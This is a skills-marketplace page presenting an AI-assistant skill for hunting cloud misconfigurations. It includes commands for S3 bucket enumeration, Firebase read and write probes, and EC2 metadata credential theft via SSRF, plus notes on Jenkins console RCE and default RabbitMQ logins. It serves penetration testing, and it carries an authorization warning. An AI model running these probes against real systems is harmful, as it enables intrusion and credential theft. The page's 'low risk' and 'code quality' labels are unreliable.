MR
Mayur Rathi
@sickn33
⭐ 47.3k GitHub stars

hunt-cloud-misconfig

hunt-cloud-misconfig is an code AI skill with a core value of Hunt cloud / infrastructure misconfigurations. It helps developers solve real-world problems in the code domain, boosting efficiency, automating repetitive tasks, and optimizing workflows.

Hunt cloud / infrastructure misconfigurations.

Last verified on: 2026-10-06

Quick Facts

Category code
Works With Claude
Source sickn33/antigravity-awesome-skills
Stars ⭐ 47.3k
Last Verified 2026-10-06
Risk Level Low
mkdir -p ./skills/hunt-cloud-misconfig && curl -sfL https://raw.githubusercontent.com/sickn33/antigravity-awesome-skills/main/skills/hunt-cloud-misconfig/SKILL.md -o ./skills/hunt-cloud-misconfig/SKILL.md

Run in terminal / PowerShell. Requires curl (Unix) or PowerShell 5+ (Windows).

Skill Content

> **⚠️ AUTHORIZED USE ONLY**

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.


> **Mandatory confirmation gate**

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.


16. CLOUD / INFRA MISCONFIGS


S3 / GCS / Azure Blob

bash
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json"   # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'  # write

EC2 Metadata (via SSRF)

bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME  # keys

Exposed Admin Panels

text
/jenkins  /grafana  /kibana  /elasticsearch  /swagger-ui.html
/phpMyAdmin  /.env  /config.json  /api-docs  /server-status

---


Jenkins SSO-restriction failure → Script Console RCE

An exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then `/script` (Groovy console) = RCE, and `/credentials` + `/scriptText` = stored API tokens and source disclosure. Disclosed: reports/231460.


Exposed message broker (RabbitMQ / AMQP) with default creds

Probe RabbitMQ management (`http://TARGET:15672/`, API `:15672/api/overview`) and AMQP `:5672`; try default `guest:guest` (works off-localhost when `loopback_users` is misconfigured) → queue/message read, vhost enumeration, management-plugin admin. Disclosed: reports/753602.


Local-verification toolchain


For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:


bash
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0

# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1

Without those env vars, `aws s3 cp/sync` fails with `InvalidRequest`. Document this for the team. See `docs/verification/phase2j-cloud-localstack.md` for the full reproducible flow.


---


CloudWatch RUM Weaponization (2024-2026 surface)


AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to `dataplane.rum.<region>.amazonaws.com`. The snippet's `AppMonitor` config contains an `identityPoolId` (Cognito) and `guestRoleArn` (IAM role) — both **public by design**. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (`rum:PutRumEvents` on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in `cloud-iam-deep` → Cognito Identity Pool chain.


Detection — JS bundle fingerprints



🎯 Best For

  • Claude users
  • Software engineers
  • Development teams
  • Tech leads

💡 Use Cases

  • Code quality improvement
  • Best practice enforcement

📖 How to Use This Skill

  1. 1

    Install the Skill

    Copy the install command from the Terminal tab and run it. The SKILL.md file downloads to your local skills directory.

  2. 2

    Load into Your AI Assistant

    Open Claude and reference the skill. Paste the SKILL.md content or use the system prompt tab.

  3. 3

    Apply hunt-cloud-misconfig to Your Work

    Open your project in the AI assistant and ask it to apply the skill. Start with a small module to verify the output quality.

  4. 4

    Review and Refine

    Review AI suggestions before committing. Run tests, check for regressions, and iterate on the skill output.

❓ Frequently Asked Questions

Is hunt-cloud-misconfig compatible with Cursor and VS Code?

Yes — this skill works with any AI coding assistant including Cursor, VS Code with Copilot, and JetBrains IDEs.

Do I need specific dependencies for hunt-cloud-misconfig?

Check the install command and Works With section. Most code skills only require the AI assistant and your codebase.

How do I install hunt-cloud-misconfig?

Copy the install command from the Terminal tab and run it. The skill downloads to ./skills/hunt-cloud-misconfig/SKILL.md, ready to use.

Can I customize this skill for my team?

Absolutely. Edit the SKILL.md file to add team-specific instructions, examples, or workflows.

⚠️ Common Mistakes to Avoid

Skipping validation

Always test AI-generated code changes, even for simple refactors.

Missing dependency updates

Check if the skill requires updated dependencies or new packages.

🔗 Related Skills